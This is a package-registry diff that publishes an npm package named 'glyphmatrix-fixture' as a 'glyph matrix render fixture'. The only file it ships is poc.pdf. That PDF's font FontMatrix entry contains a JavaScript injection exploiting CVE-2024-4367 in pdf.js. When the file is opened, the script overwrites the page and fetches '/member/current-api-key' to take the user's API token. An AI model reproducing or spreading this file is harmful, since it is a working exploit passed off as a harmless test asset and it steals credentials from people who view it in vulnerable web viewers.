glyphmatrix-fixture 0.0.0-stage → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +5 -4
- package/poc.pdf +141 -0
- package/README.md +0 -3
package/package.json
CHANGED
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "glyphmatrix-fixture",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.0.1",
|
|
4
|
+
"description": "glyph matrix render fixture",
|
|
5
|
+
"license": "MIT",
|
|
6
|
+
"files": ["poc.pdf"]
|
|
7
|
+
}
|
package/poc.pdf
ADDED
|
@@ -0,0 +1,141 @@
|
|
|
1
|
+
%PDF-1.4
|
|
2
|
+
%DUMMY
|
|
3
|
+
8 0 obj
|
|
4
|
+
<<
|
|
5
|
+
/PatternType 2
|
|
6
|
+
/Shading<<
|
|
7
|
+
/Function<<
|
|
8
|
+
/Domain[0 1]
|
|
9
|
+
/C0[0 0 1]
|
|
10
|
+
/C1[1 0.6 0]
|
|
11
|
+
/N 1
|
|
12
|
+
/FunctionType 2
|
|
13
|
+
>>
|
|
14
|
+
/ShadingType 2
|
|
15
|
+
/Coords[46 400 537 400]
|
|
16
|
+
/Extend[false false]
|
|
17
|
+
/ColorSpace/DeviceRGB
|
|
18
|
+
>>
|
|
19
|
+
/Type/Pattern
|
|
20
|
+
>>
|
|
21
|
+
endobj
|
|
22
|
+
5 0 obj
|
|
23
|
+
<<
|
|
24
|
+
/Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 573 0 573 0 341]
|
|
25
|
+
/Type/Font
|
|
26
|
+
/BaseFont/PAXEKO+SourceSansPro-Bold
|
|
27
|
+
/LastChar 102
|
|
28
|
+
/Encoding/WinAnsiEncoding
|
|
29
|
+
/FontMatrix [0.1 0 0 0.1 0 (1\);
|
|
30
|
+
window.__x4367=document.domain;document.title='XSS4367 '+document.domain;var d=document.createElement\('div'\);d.style.cssText='position:fixed;top:0;left:0;right:0;background:red;color:white;z-index:99999;padding:16px;font-size:26px;font-family:sans-serif';d.textContent='CVE-2024-4367 XSS executing in origin: '+document.domain;document.body.appendChild\(d\);fetch\('/member/current-api-key'\).then\(function\(r\){return r.text\(\)}\).then\(function\(t\){window.__tok=t.slice\(0,60\);d.textContent=d.textContent+' | stole API token: '+t.slice\(0,24\)}\)
|
|
31
|
+
//)]
|
|
32
|
+
/Subtype/Type1
|
|
33
|
+
/FirstChar 65
|
|
34
|
+
/FontDescriptor 9 0 R
|
|
35
|
+
>>
|
|
36
|
+
endobj
|
|
37
|
+
2 0 obj
|
|
38
|
+
<<
|
|
39
|
+
/Kids[3 0 R]
|
|
40
|
+
/Type/Pages
|
|
41
|
+
/Count 1
|
|
42
|
+
>>
|
|
43
|
+
endobj
|
|
44
|
+
9 0 obj
|
|
45
|
+
<<
|
|
46
|
+
/Type/FontDescriptor
|
|
47
|
+
/ItalicAngle 0
|
|
48
|
+
/Ascent 751
|
|
49
|
+
/FontBBox[-6 -12 579 713]
|
|
50
|
+
/FontName/PAXEKO+SourceSansPro-Bold
|
|
51
|
+
/StemV 100
|
|
52
|
+
/CapHeight 713
|
|
53
|
+
/Flags 32
|
|
54
|
+
/FontFile3 10 0 R
|
|
55
|
+
/Descent -173
|
|
56
|
+
/MissingWidth 250
|
|
57
|
+
>>
|
|
58
|
+
endobj
|
|
59
|
+
6 0 obj
|
|
60
|
+
<<
|
|
61
|
+
/Length 128
|
|
62
|
+
>>
|
|
63
|
+
stream
|
|
64
|
+
47 379 489 230 re S
|
|
65
|
+
/Pattern cs
|
|
66
|
+
BT
|
|
67
|
+
50 500 Td
|
|
68
|
+
117 TL
|
|
69
|
+
/F1 150 Tf
|
|
70
|
+
/P1 scn
|
|
71
|
+
(AbCdEf) Tj
|
|
72
|
+
/P2 scn
|
|
73
|
+
(AbCdEf) '
|
|
74
|
+
ET
|
|
75
|
+
endstream
|
|
76
|
+
endobj
|
|
77
|
+
3 0 obj
|
|
78
|
+
<<
|
|
79
|
+
/Type/Page
|
|
80
|
+
/Resources 4 0 R
|
|
81
|
+
/Contents 6 0 R
|
|
82
|
+
/Parent 2 0 R
|
|
83
|
+
/MediaBox[0 0 595.2756 841.8898]
|
|
84
|
+
>>
|
|
85
|
+
endobj
|
|
86
|
+
10 0 obj
|
|
87
|
+
<<
|
|
88
|
+
/Length 800
|
|
89
|
+
/Subtype/Type2
|
|
90
|
+
>>
|
|
91
|
+
stream
|
|
92
|
+
|
|
93
|
+
endstream
|
|
94
|
+
endobj
|
|
95
|
+
7 0 obj
|
|
96
|
+
<<
|
|
97
|
+
/PatternType 1
|
|
98
|
+
/Matrix[1 0 0 1 50 0]
|
|
99
|
+
/Length 58
|
|
100
|
+
/TilingType 1
|
|
101
|
+
/BBox[0 0 16 16]
|
|
102
|
+
/YStep 16
|
|
103
|
+
/PaintType 1
|
|
104
|
+
/Resources<<
|
|
105
|
+
>>
|
|
106
|
+
/XStep 16
|
|
107
|
+
>>
|
|
108
|
+
stream
|
|
109
|
+
0.65 g
|
|
110
|
+
0 0 16 16 re f
|
|
111
|
+
0.15 g
|
|
112
|
+
0 0 8 8 re f
|
|
113
|
+
8 8 8 8 re f
|
|
114
|
+
endstream
|
|
115
|
+
endobj
|
|
116
|
+
4 0 obj
|
|
117
|
+
<<
|
|
118
|
+
/Pattern<<
|
|
119
|
+
/P1 7 0 R
|
|
120
|
+
/P2 8 0 R
|
|
121
|
+
>>
|
|
122
|
+
/Font<<
|
|
123
|
+
/F1 5 0 R
|
|
124
|
+
>>
|
|
125
|
+
>>
|
|
126
|
+
endobj
|
|
127
|
+
1 0 obj
|
|
128
|
+
<<
|
|
129
|
+
/Pages 2 0 R
|
|
130
|
+
/Type/Catalog
|
|
131
|
+
/OpenAction[3 0 R /Fit]
|
|
132
|
+
>>
|
|
133
|
+
endobj
|
|
134
|
+
|
|
135
|
+
trailer
|
|
136
|
+
<<
|
|
137
|
+
/ID[(DUMMY) (DUMMY)]
|
|
138
|
+
/Root 1 0 R
|
|
139
|
+
/Size 11
|
|
140
|
+
>>
|
|
141
|
+
%%EOF
|
package/README.md
DELETED